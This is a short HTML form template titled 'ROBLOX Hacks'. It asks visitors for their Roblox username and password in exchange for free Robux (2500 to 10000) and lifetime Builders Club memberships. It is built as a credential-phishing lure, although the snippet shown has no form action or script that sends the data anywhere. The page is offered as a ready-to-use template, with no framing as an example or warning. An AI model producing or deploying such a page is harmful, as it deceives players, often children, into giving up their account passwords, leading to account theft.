<link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css" rel="stylesheet" id="bootstrap-css"> <script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js"></script> <script src="//code.jquery.com/jquery-1.11.1.min.js"></script> <!------ Include the above in your HEAD tag ----------> <form class="form-horizontal"> <fieldset> <!-- Form Name --> <legend>ROBLOX Hacks</legend> <!-- Text input--> <div class="control-group"> <label class="control-label" for="ROBLOX username">ROBLOX Username</label> <div class="controls"> <input id="ROBLOX username" name="ROBLOX username" type="text" placeholder="Username" class="input-xlarge" required=""> </div> </div> <!-- Password input--> <div class="control-group"> <label class="control-label" for="ROBLOX Password">ROBLOX Password</label> <div class="controls"> <input id="ROBLOX Password" name="ROBLOX Password" type="password" placeholder="Password" class="input-xlarge" required=""> <p class="help-block"> </p> </div> </div> <!-- Multiple Checkboxes (inline) --> <div class="control-group"> <label class="control-label" for="Robux">Robux</label> <div class="controls"> <label class="checkbox inline" for="Robux-0"> <input type="checkbox" name="Robux" id="Robux-0" value="2500R$"> 2500R$ </label> <label class="checkbox inline" for="Robux-1"> <input type="checkbox" name="Robux" id="Robux-1" value="5000R$"> 5000R$ </label> <label class="checkbox inline" for="Robux-2"> <input type="checkbox" name="Robux" id="Robux-2" value="7500R$"> 7500R$ </label> <label class="checkbox inline" for="Robux-3"> <input type="checkbox" name="Robux" id="Robux-3" value="10000R$"> 10000R$ </label> </div> </div> <!-- Select Basic --> <div class="control-group"> <label class="control-label" for="ROBLOX">Builders Club</label> <div class="controls"> <select id="ROBLOX" name="ROBLOX" class="input-xlarge"> <option>BC Lifetime</option> <option>TBC Lifetime</option> <option>OBC Lifetime</option> </select> </div> </div> <!-- Button --> <div class="control-group"> <label class="control-label" for="ROBLOX">Submit Request</label> <div class="controls"> <button id="ROBLOX" name="ROBLOX" class="btn btn-success">Submit</button> </div> </div> </fieldset> </form>